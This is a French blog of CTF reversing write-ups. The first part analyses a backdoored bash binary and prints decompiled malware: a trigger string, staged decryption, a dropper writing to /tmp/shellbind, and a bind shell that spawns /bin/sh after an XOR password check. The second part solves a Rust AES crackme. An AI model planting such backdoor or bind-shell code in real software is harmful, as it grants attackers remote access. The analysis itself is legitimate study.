Après avoir passé pas mal de temps à explorer le binaire (ça m'a probablement coûté le first blood 😥), j'ai fini par trouver un getenv("JAKWEULOD") intéressant, et introuvable dans le code source originel.

La fonction qui appelle ce getenv est appelée au début de la fonction parse_and_execute, patchée pour lancer la backdoor. Regardons de plus près:

 v3 = backdoor_enabled;
  if ( backdoor_enabled )
  {
    if ( ~(strlen((const char *)a1) + 1) == ~0x29uLL && !(unsigned int)memcmp_0(a1, "1+2+3+4+5", 9LL) )
    {
      ((void (__fastcall *)(__int64))(v3 + 91))(a1 + 9);
      v6 = sh_malloc(4096LL, "evalstring.c", 194LL);
      *(_QWORD *)(v6 + 4088) = 0LL;
      // v6 = mkfifo path from the other binary, snipped bc noisy string obfu
      mkfifo_0(v6, 438LL);
      v9 = open_0(v6, 0LL);
      buf[0] = 0LL;
      buf[1] = 0LL;
      read_0(v9, buf, 1);
      close_0(v9);
      print_free(v6, "evalstring.c", 511LL);
      if ( LOBYTE(buf[0]) == 1 )
      {
        xmmword_14F320 = (__int128)_mm_loadu_si128((const __m128i *)(a1 + 9));
        qword_14F330 = *(_QWORD *)(a1 + 25);
        dword_14F338 = *(_DWORD *)(a1 + 33);
        word_14F33C = *(_WORD *)(a1 + 37);
        byte_14F33E = *(_BYTE *)(a1 + 39);
        backdoor_activation((const char *)(a1 + 9));
      }
    }

La fonction ((void (__fastcall *)(__int64))(v3 + 91))(a1 + 9) fait un fork + execve d'un memfd qui contient le binaire qu'on a analysé précédemment.

On atteint la backdoor en tapant la commande suivante dans bash:

1+2+3+4+50NSlH7m8C91boiGq10NtQKq4aP7mVyJ

Ainsi backdoor_activation sera appelé, qui appellera encore une fonction de crypto avec 0NSlH7m8C91boiGq10NtQKq4aP7mVyJ comme clé. Cette fonction va déchiffrer la fonction qui vérifiera le contenu de la variable d'environnement "JAKWEULOD".

void __fastcall backdoor_activation(const char *key)
{
  __int64 v1; // rbp
  const char *v2; // rax
  const __m128i *v3; // rbx

  v1 = mmap_0(0LL, 98323, 7, 34, 0, 0);
  cryptoshit_again((__int64)key, (__int64)&unk_12B000, v1, 98323LL, strlen(key));
  v2 = (const char *)getenv("JAKWEULOD");
  if ( v2 )
  {
    v3 = (const __m128i *)v2;
    if ( ~(strlen(v2) + 1) == ~65LL && ((unsigned int (__fastcall *)(const char *))(v1 + 143))(v2) == 1 )
    {
      kk1 = (__int128)_mm_loadu_si128(v3);
      xmmword_14F430 = (__int128)_mm_loadu_si128(v3 + 1);
      xmmword_14F440 = (__int128)_mm_loadu_si128(v3 + 2);
      unk_14F450 = _mm_loadu_si128(v3 + 3);
      sub_89675();
      fork_and_spawn();
    }
  }
  munmap_0(v1, 98323LL);
}

Comme je suis un gros flemmard, j'ai voulu patcher le binaire avec un "int3", mais comme bash met en place ses sighandler, je finis par atterrir dans la fonction de sighandler. Du coup j'ai remplacé le "int3" par un "jmp $0" (\xeb\xfe) après la fonction de déchiffrement et dumpé le buffer avec gdb en m'attachant au process.

La fonction dans le buffer alloué va ensuite être appelée: ((unsigned int (__fastcall *)(const char *))(v1 + 143))(v2).

L'algo est simple: il fait une exponentiation modulaire de chaque char de la chaîne passée en argument, et vérifie que le résultat est égal à une certaine valeur. Comme on a au maximum 128 chars à essayer, on peut se permettre de bruteforce et éviter de faire des maths puissantes:

def bf_char(n, p, res):
    selected = -1
    for i in range(0x10, 0x7f):
        if pow(i, n, p) == res:
            if selected == -1:
                selected = i
            else:
                print("Other candidate %d" % i)
    return selected

Comme j'étais trop flemmard pour faire un script qui extrait les paramètres automatiquement, je l'ai fait à la main à minuit et aidé de ma Sainte Bière :'). Puis une fois avoir lancé le script qui ressemble à ça:

def bf_char(n, p, res):
    selected = -1
    for i in range(0x10, 0x7f):
        if pow(i, n, p) == res:
            if selected == -1:
                selected = i
            else:
                print("Other candidate %d" % i)
    return selected

flag = bytearray(b"-"*65)

elts = [
    (0x7b7bc, 0x3fa, 0x6af18, 4),
    (0x3fbeb, 0x2a1, 0xd56d, 0xd),
# snipped
    (0x3dbca, 0x377, 0x5de6, 0x10)

]

for e in elts:
    c = bf_char(e[1], e[0], e[2])
    #print(hex(e[3]))
    flag[e[3]] = c

print(len(elts))
print(flag)
pos = [hex(i) for i in range(len(flag)) if flag[i] == ord("-")]
print(pos)

j'obtiens la bonne valeur pour la variable d'environnement: mIB8vFxWAQ5RkO7MXzDKnjTbYIdbwQQbxSyU6XvIoS39zmdKrHHCOevfUt5oBDZh.

Comme d'hab, cette valeur est encore une clé de chiffrement pour la suite, et on remet un jmp $0 après la fonction pour dumper le stage "final":

void fork_and_spawn()
{
  __m128i *key; // rbx
  __int64 v1; // rax
  _BYTE v2[1648]; // [rsp-1CF8h] [rbp-DD10h] BYREF
  __int64 v3; // [rsp-1688h] [rbp-D6A0h] BYREF
  _QWORD v4[5841]; // [rsp-688h] [rbp-C6A0h] BYREF

  while ( &v3 != &v4[-6144] )
    ;
  v4[5631] = __readfsqword(0x28u);
  memcpy_0(v2, &unk_ECB08, 50784);
  key = (__m128i *)sh_malloc(64LL, "evalstring.c", 401LL);
  key->m128i_i64[0] = 0LL;
  key->m128i_i64[1] = 0LL;
  key[1].m128i_i64[0] = 0LL;
  key[1].m128i_i64[1] = 0LL;
  key[2].m128i_i64[0] = 0LL;
  key[2].m128i_i64[1] = 0LL;
  key[3].m128i_i64[0] = 0LL;
  key[3].m128i_i64[1] = 0LL;
  *key = _mm_load_si128((const __m128i *)&xmmword_14F220);
  key[1] = _mm_load_si128((const __m128i *)&xmmword_14F230);
  key[2] = _mm_load_si128((const __m128i *)&xmmword_14F240);
  key[3] = _mm_load_si128((const __m128i *)&xmmword_14F250);
  v1 = sh_malloc(50784LL, "evalstring.c", 404LL);
  cryptoshit_again((__int64)key, (__int64)v2, v1, 50784LL, 64LL);
  while ( 1 ) // jmp $0 rocks :þ
    ;
}

On voit le bout du tunnel et on récuère l'ELF avec gdb.

Final flash

Munis de notre ELF, on l'ouvre dans IDA. Cette fois, pas de tricks chelous, et IDA identifie la fonction "main" du premier coup. Cette fonction ne fait qu'invoquer "sudoedit" avec des arguments pourris.

Mais on se rappelle que des fonctions peuvent être appelées avant main, en étant appelées par __libc_csu_init, et c'est le cas ici, avec la fonction setup:

int __fastcall setup(__int64 a1, __mode_t a2)
{
  FILE *s; // [rsp+8h] [rbp-8h]
  FILE *sa; // [rsp+8h] [rbp-8h]

  mkdir("libnss_X", a2);
  s = fopen("libnss_X/A .so.2", "w");
  fwrite(&libData, 1uLL, 0x4080uLL, s);
  fclose(s);
  sa = fopen("/tmp/shellbind", "w");
  fwrite(&shellData, 1uLL, 0x4300uLL, sa);
  return fclose(sa);
}

Le binaire droppe 2 ELF, dont un dans /tmp/shellbind. Coup de bol, j'ai analysé ce binaire en premier, et en voyant sa fonction main:

  bind(fd, &addr, 0x10u);
  listen(fd, 0);
  v8 = accept(fd, 0LL, 0LL);
  v9 = recv(v8, buf, 0x28uLL, 0);
  if ( buf[v9 - 1] == 10 )
    buf[v9 - 1] = 0;
  for ( i = 0; i <= 37; ++i )
    buf[i] ^= 0x59u;
  if ( !strcmp(buf, &unk_2008) )
  {
    dup2(v8, 2);
    dup2(v8, 1);
    dup2(v8, 0);
    execve("/bin/sh", 0LL, 0LL);
  }

je trouve le mot de passe de la backdoor:

s = bytes.fromhex("183C2B36226D603B6861686A616E3F6C69606A6C3B6A60386969616C693B6E6E613A6F6F3F24")
print(bytes([x ^ 0x59 for x in s]))

ce qui donne le flag: Aero{49b181387f50935b39a00850b778c66f}

That's all folks ! :þ

Write-UP INCTF: Jazz

2020-08-03T15:11:00+02:00

J'ai participé ce samedi au CTF InCTF avec la team "ret2school", où j'ai résolu le challenge de reversing "Jazz", qui valait 900 points à la fin du CTF. Il s'agit d'un crackme en Rust, ce merveilleux langage, générant du code assez atroce à analyser. Muni de mon IDA Home, je me lance donc à l'attaque de ce crackme.

Ce crackme est donc écrit en Rust, et a des symboles de debug, rendant notre tâche légèrement plus aisée (pas de temps à perdre à identifier les fonctions du runtime Rust, ni les libs utilisées). Le point d'entrée se présente donc comme ceci:

On explore donc la fonction _ZN4jazz4main17h655cc631b7a9a767E, qui correspond au main de l'application Rust, dont le control flow graph est assez immonde (merci Rust et les .unwrap() inlinés).

AES et Mersenne

Grâce aux symboles, en parcourant le code de la fonction, on se rend compte que le programme fait de l'AES CBC et génère des nombres pseudo-aléatoire avec un "Mersenne Twister", dont la graine est définie à 0xDEADBEEFCAFEBABE. Notre instinct de reverser nous dit que ce "Mersenne Twister" va servir à générer la clé de chiffrement AES ainsi que l'IV. On va donc placer un breakpoint sur la fonction qui initialise le contexte AES, et dumper la clé de chiffrement ainsi que l'IV pour déchiffrer notre clé en Python grâce à PyCrypto. Pour cela, nous allons chercher les arguments dans la documentation Rust. Notre fonction prend un enum KeySize, deux &[u8] pour la clé et l'IV, et un argument "X" semblant déterminer le padding utilisé.

Le &[u8] est un peu particulier en Rust, puisque dans le code assembleur généré, un pointeur vers la zone mémoire sera passé en paramètre, suivi de sa taille. Le prototype de la fonction a ajouter dans IDA (touche "y" sur le nom de la fonction) sera donc:

__int64 __fastcall crypto__aes__cbc_encryptor__h211c41356831deed(int keySize, char *key, int keySz, char *iv, int ivSz, void *unk)

Et notre breakpoint une fois placé ressemblera à ceci dans IDA:

Nous pouvons lancer le déboguage en sélectionnant "Local Linux Debugger" dans IDA et constater avec désespoir que notre breakpoint n'est pas trigger... En effet, le crackme attend le flag dans argv[1], que nous devons donc spécifier dans "Debugger" -> "Process Options". Nous allons mettre "azerty" comme ligne de commande, et relancer l'exécution. Et cette fois-ci, IDA s'arrête bien sur notre breakpoint:

Nous pouvons donc dumper notre clé et notre IV en faisant un clic droit sur [rsp+30h+key] puis "Jump in a nex hex window", et même procédure pour la variable "iv". En analysant un peu plus le programme, on remarque également un call [rsp+30h+arg28], qui pointe vers un CbcEncryptor::encrypt. Nul doute que le chiffrement se fera ici, et d'après notre documentation Rust préférée, on peut là encore déterminer les arguments de la fonction:

On voit ainsi que notre chaîne à chiffrer est "\xd7\x0f\xd2\x4c\x0d\xfc", et on peut en déduire que le crackme fait des opérations sur notre entrée avant de le chiffrer en AES. Après exécution du call, on récupère le chiffré qui est "\x84\xc5\x5d\xc4\xec\x5a\xD2\xa6\xf7\x17\x76\x93\x8a\xf5\xd7\x48". On peut donc tester que nous avons bien tous les paramètres pour AES:

#!/usr/bin/python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

plaintext = b"\xd7\x0f\xd2\x4c\x0d\xfc"
key = bytes([0xEC, 0xAD, 0xE9, 0x18, 0xDB, 0xFA, 0xBF, 0x53,
             0x03, 0x4F, 0x65, 0x4B, 0xEF, 0x52, 0x32, 0x92,
             0xAE, 0xC1, 0xC4, 0xD0, 0x13, 0xDD, 0x5D, 0x28,
             0x05, 0xEA, 0x53, 0x97, 0x14, 0xE0, 0x6D, 0xD1])
iv = bytes([0xD7, 0x1C, 0x2D, 0x1B, 0x9B, 0x71, 0xFB, 0x9E,
            0xAE, 0x77, 0x75, 0x64, 0x01, 0x6C, 0xFA, 0x3A])

to_decode = b"\x84\xc5\x5d\xc4\xec\x5a\xD2\xa6\xf7\x17\x76\x93\x8a\xf5\xd7\x48"
cipher = AES.new(key, AES.MODE_CBC, iv)
print(cipher.decrypt(to_decode))

On retombe bien sur notre plaintext, suivi de b"\n" qui se répètent 10 fois. Il s'agit là du padding par défaut, implémenté par la fonction "pad" dans PyCrypto. Il ne nous reste plus qu'à déterminer la transformation effectuée sur l'entrée, puis l'"inverser" afin de retrouver notre flag.

Substitutions go brrr

Il ne nous reste plus qu'à localiser l'endroit où notre entrée est transformée, et comprendre l'algorithme de transformation. Pour cela, remontons les cross references de la variable donnée au RefReadBuffer, qui contient notre flag chiffré (la variable arg_10):

Nous arrivons dans cette portion de code:

On peut voir que ce buffer est rempli octet par octet par le contenu du registre r13b, et en remontant dans le code, nous trouvons ce bloc intéressant:

Après quelques recherches, il s'avère que ce gros bloc de code:

mov     rax, rbx
mov     rcx, 0DD67C8A60DD67C8Bh
mul     rcx
shr     rdx, 5
lea     rax, [rdx+rdx*8]
lea     rax, [rdx+rax*4]
mov     rdi, rbx
sub     rdi, rax

n'est en réalité qu'un rdi % 37 optimisé par LLVM. De même pour le bloc du dessous, qui est un modulo 37*0x18 optimisé par LLVM.

imul    rcx, rdx, 378h
mov     rax, rbp
sub     rax, rcx ; rax = rcx % 37*0x18
mov     rdx, [rsp+30h+var_20]
movzx   edi, byte ptr [r12]
mov     rax, [rdx+rax]
cmp     rax, rdi

Ce qui nous amène au bloc de code suivant:

mov     rax, r14 ; rax contient un compteur
sub     rax, rcx ; rax = rcx % 37*0x18
mov     rax, [rdx+rax] ; on charge le pointeur contenu en rdx + rax dans rax
movzx   r13d, byte ptr [rax+rdi] ; on charge le char pointé dans rax

Fort ce ces informations, on peut retrouver l'algorithme. Le programme a généré un tableau de 37 slices d'octets de 256 caractères, où un slice peut être représenté par la structure ci-dessous, qui fait 0x18 octets:

struct slice {
    unsigned char *data;
    unsigned long long size;
    unsigned long long allocsize;
}

Puis pour chaque caractère de l'entrée, il prend le slice situé à la i-ème position du caractère, puis prend le caractère situé à la valeur ASCII du i-ème char de l'entrée. En pseudocode C, ça donnerait:

for(int i = 0; i < strlen(input); i++) {
    arg_10[i] = slicearr[i % 37][input[i]];
}

Pétage du crackme

Pour dumper cette fameuse table, on va faire un peu d'IDAPython. Tout d'abord, on place un breakpoint sur l'instruction movzx r13d, byte ptr[rax + rdi], et on relance le debug de l'appli. Puis on exécutera le code IDAPython suivant pour dumper notre tableau:

array_begin = idc.get_reg_value("rdx")
print("[")
for i in range(37):
    array = idaapi.get_qword(array_begin + i*0x18)
    print(idaapi.get_bytes(array, 256), end=", \n")
print("]")

Il nous suffira de copier-coller la sortie dans notre fichier Python de solution du challenge. Une fois le code IDAPython exécuté, on veillera à supprimer le breakpoint sur le movzx.

Maintenant, il ne nous reste plus qu'à localiser le flag chiffré, pour le déchiffrer en AES, puis faire la substitution inverse. Heureusement pour nous, le flag est rempli au moment où le breakpoint sur l'initialisation d'AES sera atteint. Il nous suffira donc de le dumper en entrant cette ligne:

idaapi.get_bytes(idc.get_qword(idc.get_reg_value("rsp")+216), 0x60)

et en copiant la la sortie dans notre script Python, qui ressemble à ceci:

#!/usr/bin/python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

key = bytes([0xEC, 0xAD, 0xE9, 0x18, 0xDB, 0xFA, 0xBF, 0x53,
             0x03, 0x4F, 0x65, 0x4B, 0xEF, 0x52, 0x32, 0x92,
             0xAE, 0xC1, 0xC4, 0xD0, 0x13, 0xDD, 0x5D, 0x28,
             0x05, 0xEA, 0x53, 0x97, 0x14, 0xE0, 0x6D, 0xD1])
iv = bytes([0xD7, 0x1C, 0x2D, 0x1B, 0x9B, 0x71, 0xFB, 0x9E,
            0xAE, 0x77, 0x75, 0x64, 0x01, 0x6C, 0xFA, 0x3A])

glop = bytes([0xcb, 0xf1, 0x5d, 0x60, 0xf4, 0x43, 0x04, 0xfd,
              0x9c, 0xeb, 0x3e, 0x1f, 0x64, 0x47, 0x6b, 0xdd])

keytbl = [
b'\x8ag\'\x96\xea_\xd1\xda\xb8\x1c\x87]\x1d\x0fZ\xa3j"\x8f\xb4\xa5Vw\x83\xc4\\f\xa4W\x157\xf0\x81\x00Ki\xd9=\xb9\xc9\xc3\xde\xdc\x02\xbd\xf1@d\x94\xd80(\t\xb0\xac\xe1\xe5. \r\x9c\xf6{\xb23\xab\xfcF\xc5\x07\xf9\x95\n\x8blH5\x0cX\x16\xcaP\xf8\xaa&\x1b\xa1\x98\x01ybv\xe8\x14[k\x9f\xd7\xf52D\x08Q\x9a\xd0+)\xfe\xe9m\x89\xa6\xdd\xe7\x97J\x9e\x18\xa2\x1fh\x19\xa7\x82N\x13\x03\xeda\x91e81>\xd5\xf2\x1a\x8d\x10\xe4\x84\xad\x04L\xeb\xfa\xdf^\x0b\x17-\xae\xe3%s}\x90Gx\xec\xc24\xb1AR\x9d\x12\xf3\x11\x86~\xd6B\xef\xc6\xc1Y\x8c\x7f\xbft9\x06\xfdc#\xc86o\x80\xaf\x92U\xe6\xbc`\xd2rz\xceM\x05\xe0\xcf$<\xa9\xb7\xccq\xd3;\xd4|*S\x8ep?\x93nu\xb3O\xb6\xf7\x85\xc0\x99\x0eT\xfbI\xb5\xf4/\xbb\xee\xbe:\xba\xe2\x9b\xff\xa8\xa0\xcd,C\x1e!\xdb\x88E\xcb\xc7', 
b'(\xf5t\x1ar\xc7\xad\xb8\x96\xcb\x92\x9d\x89\x84<\x1d\xeb\x03-\xce\x91\xd3E\x19\xf7_\x1b\x8e\xba\x05\xec\xa5Q\xaa\x9e\xcd\xee#)MU\xacL\xd5]W$\xdf\xa8\x86:\x1f\xd0u\xda\xe1\xd4P\xc2\xa2\r\xf1\x07\xa3\x00\x04"lm/\x88n8\xea\xe6iy\xed%\xc3\xa7O\x17\xe5\x06\x01\xbd\x8f\x11\x12\xfe}AI\xc0YV\x9f14\xc6^\xabqd\x10~T\x0e\xb3\xb5p\xde0\x99\xa9\x94F\x93\x9b\xd8\xb2\x0f3@\xa0\n\xd7\x85\xef9\xd9\xcaNa\x83&kv\'Cw*6\xe7\x15\xf2\x80\x1e+X\xfa\x0c\x165\x87e\x9aB\xe4\x82\xf4Z\xcc2\xb7!zH\xcfS\xb0\xdb\\?\xf9\x13x\x18\xe3\x0bb\xbfK\x147\x8d\xaf\xbb\xc9h\xb4\t,\xd6|\xb6\x7fJ\xf3\xd2\xf6G;\xae\x02\xdc\x95\xbe`\xff\x8c\x9c\xa6\xe2c\xfb\xfd\xe9R.\xb9D\x90\x8b\x98sf\xb1g[\xa1\xf8\xc1\xc5>\x8a\xdd \xd1o\xa4\xf0\xc8\xfc\x1cj\xc4\x97{\x81\xbc=\xe0\xe8\x08', 
b'\x1eA\xce\xe7\x84T\xf2j\xa0\xa4\x02\x96%\x0e\x19[,;@\x10~\x908kx\xd8\xc2=>C\xf3n\xa3\xc6\xeeE\xab\xd4\x06\x7f\x95p\xbc$\x86B\x1b\xa9\x17\x88\xe0\xc8\x07\xe1\xb8\x05:(\xd0\xb4\xea\xcd\xcbmQ\x16\x18\'\xf7H\x9e\xfb\x000u\xb3\xff\x8a\xdd\x1cZ\x9c!\xd3<\x04\xd7*\x8f\xec\x9b\xe8\xcf6\\o\x08\xb1\xe6\xa2\xd5\xd2\xe2\x89\x8e\x93\x8ca\xf5\xa5\x15\xf82b\xba_D\x12\xaez\x99\xb2wP\xca^\xaa\x14\x9fS\xd9\xdb\x97JW\xc0\x13\xbb\xb6c\xed|R\xfc.\xfei\xad\xf9\x82\x8bM\x0bv5 y\x98]\xe3s47\xdeYU\x9a\xef"&{)\xc5\x1a\xb9\x85-}#\x92\xa7g\xaf\x8d\t\x94\x80\xf0\x1f\xf69\xc4\n\xda\xc3\x9dXFN\xbd\x03\xdf\xfaOKI\x01\x11\xdclqV\xb5\xf4\xe4d\x1d\xd6\xe9\x91\xd1L\x81+\xc9\xa1\x83/e?3\xc7\xac\xc1\xb0\xa81r\xbf\xeb\xb7\xccf\r\x87\xa6`G\x0c\xbe\x0f\xfd\xf1ht\xe5', 
b'\xbe%`\x16qQ6\xe8\xb3\x17D\x93\x8f\x97\xdb\x96$\xdd+}\x80\xc9>\x15\x1e\xa7\xfa\xc7|S\xe9\xf1:P!VZ\x8d\x1b=Y\xb9\xed\xe6ca\xdf\x11\x87\xc5[\xd2\xab5\xae"\x9e^\x05\xc8B\x011\x89\r\xd1\x9a\xa1\\\xff\xf3\xe4C\x13x\x9cW\xa5\xe3t\x0c\xd8\xc1z\x0eO\x8eK\xbd/v\xe0\x00\xdc\x81\xb1\x8b\x06\xa8e\xbf?\xa4\xe2\t#\x9f4_\x1f\xee\x88M\xc4L9\xeb\xa2kj8\xecA\xd4E.N\xcf\xc6\x8c\xfd\xcb\xads\xf6\xcel\x18\xcd\xd5n\xc3h\xb6\x10\'\xbb\xe5\xe1\xefI\xba\x94\xd9\x0f\xaf\x8a\x7fu\xca\xd6f\xa0\xbcy\x0br*\xda\x83\xb8\x99<\x9d-2\xb5\x08\x03\xf2\xa3\x95\x12\xd3\xb4\x84\xf9F&\x86G\x82\xf0\xc2o\xfc3~\x90b\x1d\x19{\x07\xb7\xa9X\xc0\xdepT\xf4\xf8R\x91U\xf5\x1aH\xaa\x92\xb2]0\n\xb0\xa6@7\xac)\xe7J\x04\xf7d\x14\xd0w\x98;m\x85\xcc\xfeg\xd7\x1c(i\x9b\x02, \xea\xfb', 
b'\xf7eyu\xf5W\xe6r\x1cT6\xa9\x18\x08M\xe9m\xde8>\xe3\xbd\xf8\x03\x9a\xec\xdbQ\xc0Pp\\x" \xed@o\x98F#[\xe4\xf2\xc51\xfe\xb7\x1aZ\xba}\xb2b\xdf\xc7\x90G\x94\x87_-Osz\xf1\xd3\xf6\x84\x81\x0c.;J\xd7\xa1g\xca4\xceA\xfa\xc2\xfdL\xc8\x01\x7f*\x1f\'\x9d\xcf\xa0\x10\xb1=(I0\xd4\x82h\x96\x91\xe7V\xe0\x8c\x16\x1d+\xb8\xb4%\xd9\r\x8b\xbf\xac<\xd8\xfb\xbb:\xa6j\xf3EC\xdd\xf0\xeb\xff\xe5/$R\xfc\x9e\x8e\x83n\xae7\xc9\x12S\x1e\xa7fD\xd0\xee\x9f\x9939\xb0\x85q\xb5{\xcb\x93\x97\x0f\xd5\xda\xa8\xf4\x11\xd2\xcca\n\xc6\x8f\x00\t\x892U]\xc3\x95\xe2!?N\x8d\xb6H\x075ik\xd6\xc4\x05l,\xcd`K\xa4\xc1\xe1^\xea\x88\xdc\xaf\x19\x06\x9b\xf9\xe8\xaa\x15\x86\xb9\x13\xa2&)t\xbc\x04\x92\x02\x80X\x9c\xb3B\x14c\x0bv\x0e\xabY\xef|\xd1\x1b\x8aw\xa3d~\xad\x17\xbe\xa5', 
b'V\x84jkhDS\x1cK\xe1\xa0\xe2n\xee<\x06\xb1\xae\xb6\x97\xf5\x93\xb8\xaa*\x15}\x05\xe9\xca\x99\x07Jp\xec\xd0\xe0\x1d\xfd/-\xb0|3\xfe4H!\x0c#\xdc\x94B\xde\xf0\xb9R\xd4g~\xa66$\xc0\x08\x92\xe3\xf1&L\xdd\x1a\xe4\xedz?\xba\xbf2\x9e\xb2\x8b\x9c\x8a\x85\xa5\x18\xc1\x00 \x90\xa9\xbe\xef\xd1\x13t\x9d\xff8\xa4:\x16\x03cs\xa1\xe7\x1b\x80dy\x0fE\xf4+\x96o\x10\x82\x17\xfcq\xeb\xe5O\x8d\\\xab\x8cxrP\xb7\x89\xd5A[\x19\xcd\x01\xe6;m\xa7\x9f\xad\x83M\nl\xf9\x9b1\xf6\xda\xdb\xac\xd2\xd8\xce\x81\xf2e\'\xa2\xcf\x88\x8f\xbdZ\x02\x11\xd3\x7fWIN\xf8\xbc@%Gw\x91>"\xc9\x86(\xdf\xa85v\x870\x9aT,\xc7a\xb5\x95X^f=bYu\xc6\xaf\xfb\xfa\xe8`\xcc\x0e\x0b\xc3\xf7\xc4i\xc2\x8e\xa3\xb3\t\x1f.\xc8\xd97]\x1e\xea\r\xf3\x14\xb4C_U\xcb)\x129\x04Q\xc5\xd6\x98\xbbF\xd7{', 
b'\x8fd\x9aI\xea\xc0\x1cD\x04\x0b\xee5\x89\x9d\xcc_\xc5\xf7\xb8\xbb\x95\xbc\n&}\x96\xf9k\xf4\xe9\x82\xb3\xae\xdc!=0~\xd2\x1d^\x94\x0eN\xf1z\x03\xd3\x8e\xac\x81\xcf3v,\x9f\xf5J C>Mu\xc7`\x02\xa1\x9c;\xf8aR\x90\xc6:\xe4\xcd\xd5/\xa8\xc4.Uhq\xef\x93\xe5o|\xad\x12\x98\xfej\xa0\xdd]F\xaa\xde\xfa\xc9\x1b\x84\x80\xdb%H2(Z\xd6L\x1f\x83\xb6@\x85\x86\xb4\xf2\xb5<\xa3\x11l\x91\xab\xfdB\x08Q\xd8\x01\xe3\x8dV\xa5\xc8\r\xc3\x06\xff\xf3\xa7i\x7f\xbag\xce\xb9\x87\xa6+O\xa44A\x14y\xcb\x1e)\xbd\x19\xdaK\xd1\xf0\xe0\x05\xfb\xbf6\xd9\x8bmpG\xb1rs7\xedw\t\x15Y\x88\x99*\xe7\x9bXb\xd7\xd0\x9e\xec\x0f\xd4\xdf\xfc1W\x8a\x10\xaf\xb2\xca\xe2S\xe6\xa9e\x16"\x97\x07\x18-x#\xe1cn{\xb0\x00?\x17Pf\\\x1a\'[\xbe\x92tT9E\xc2\xb7\xf6\x13\xc1\xa2\x0c$8\xe8\xeb\x8c', 
b'\x06\xdb\x1a\x1f\xb5\x8dX L\xc4\xfdB}*3{\xe8\xcd\xd0\x9b)j/R\xbf=\xbc\xce$\xfc\xb0m\x97\x8b>;\xf1A\xdc\xd9\x86\x87\x03yY\xc6\x00\x80[-eH\x11\x1b\xa9\x1d\xb1E\xfeM\xb2\xc5\xe1q\xc3U\xf0\x07\x85\xf3\x0bh\xd1\x0f\xaa\xe4\x1eCN\x8cp<\xd6W9\x91z\x13\x84\x93u\xb9(\xab\x0e\x08\xc8]\xcc\x15#It\xcb\xf8\t\xb6\x8enG\xda\x7fc^v\x89\x9fk\xae\xf9\xc9\xffZD\xe6\x9d?\xee+\x94\xa2\x17\xa4\xd3\xe5\xa62\xa5.\x12\x95\xcf\xec\xa7\xa3\xb4\xdd\xd7wd\xc7J\xde~%\xeb\x16"\xdf\xa0\xd4&6\xba\xe3x0\xbeis\xaca\xf5\x14\xb8\'@_5\xe7\xd5\xfb\xf64\xbd!f\x8aol\\\xd21\xb3T\x98r\xd8\x0cbV\xa1\x05\x81\x88\xaf8,\x1c|S\x9a\xc0\x02\x96\x04\x10\x8fO\x18\r\xb7\xe2\x01\x83\xc2\xfa7\xe9\x92\xedK\x19\xe0\xc1:\x9eP\xef\xf4\xa8\x99\x82F\nQg\xad\x9c`\xea\xf2\xca\xf7\xbb\x90', 
b'\xdc\x92\xeba\x10\xa5<,\xb1\x88\x18_i\xe9\x94Kqh\x8d\xe6\xf3\x14\x990\x8fM\x86\xd9\x82\xee\xc4I\xba\r\xb7\xc5)l\xa9:\xdb\x1d\xb9\x1c\x93\x8ab\xb0\xb48>\xaeUE\xe2\xf5O\x1b\x02\xf7C\xff\xe3m6\x1a\xcf\x80\x07\xa1\xad\xb3\xbfr\x17~\x04\xddS&\x8c\xa0\x16\xc0`\xcaje\x1f\xf6\x97PH\'J#\xf83n\xaa9\x13 *\xc9\xef\x96Ds\xecBZ\xd4\xfa\xce\x9d\x95/\xfc\xc3\x00\xc7;y[\xd7Rk\xe0\x9e\x9a\x03\xe4\x0b\x9f\xedV!"t4\x87v\xea\x81\xe8\x0e\xf2\n\xb2\x9b\xfbX\xd5\xbcA\xc2Gw\x91d\x01\x90N\x8b\xe7=\x7f\xbb-\x0c\xb8\x89^\xda+\x84\x98\x08p\xd17\xa6\x11\xa4\xe1(1Q.\xd0Y@%\xa2\xa3\xc1L\x0f}\x15\xcb\xc82\x12\xe5|\x8e\xac\xd6Fc\xcd\xf0\xf1\xcc\xb6]x\x06\xfd\xdef\t\xdf\x19\xfe\xd3\xb5u?\x85\x05\xafW\xa7\xf9\x83\x9c\xf4\\$\xd8T\xc6\xbdz\xd2\x1e5og\xbe\xa8\xab{', 
b'DL\xf5\x99UR\x8eN\x97B\x1a\xe6m\x9c\xf2\x943#\x9e\xcf\x9b\xd3\xa0\n\x8cp\xd5\x0b;O\xdf\xbeZ\x08\x95\x07W\x04E\xaa\xb1\xc8\x13\x87\xd8\xea\x05\xd7Cv\x00&\xa7\xc6(s\xdc<\xa4/\xe9\xdd9\x85r\xfb\xd2\x1d\xfc\xff\xed\xc4yu\xe0\xfab$\'Q\xf7w0!h:=\xfe\x16q\xc3\x17\x82`\xbc1\x19g\x8a\x12\xc58c}V\xf0\xab\xbdH\xeb_KAY\x9f\xfda^\x15\x98\xe56\xb5\x90\xef\xd9\xc2\x02F\xc0\x89\xd4\x83\x0e4\xe1 -\xf82\x8b\xb7\xbf%[\xb0\xe2t\x18\x80\x93J\x92\x7fn\x0c\xc1I\xf1\xd6\xc9P\xc7\xd1G\x86\xcc\xb6\xd0\xb9\x84\x1f\\>\xca]M\x91\xba?\xcd.\x06\x8fj)x\xa1o\x9d\xf67\xa3\x10\xda\xce\xb8\x9a\xe8XTS\xae\xde{\xb3\xf9\r\xaf\xa6"\x0f\x14\xb4\x1bi\t\xe35|*f+\xa2~\xe4\xa8\x1c\xac\x8d\x1e\x11\xad\xb2\xec\xf4\xeed\x81\x03\xcb,@l\xf3e\xe7k\xdb\xbb\x01\x88z\xa9\xa5\x96', 
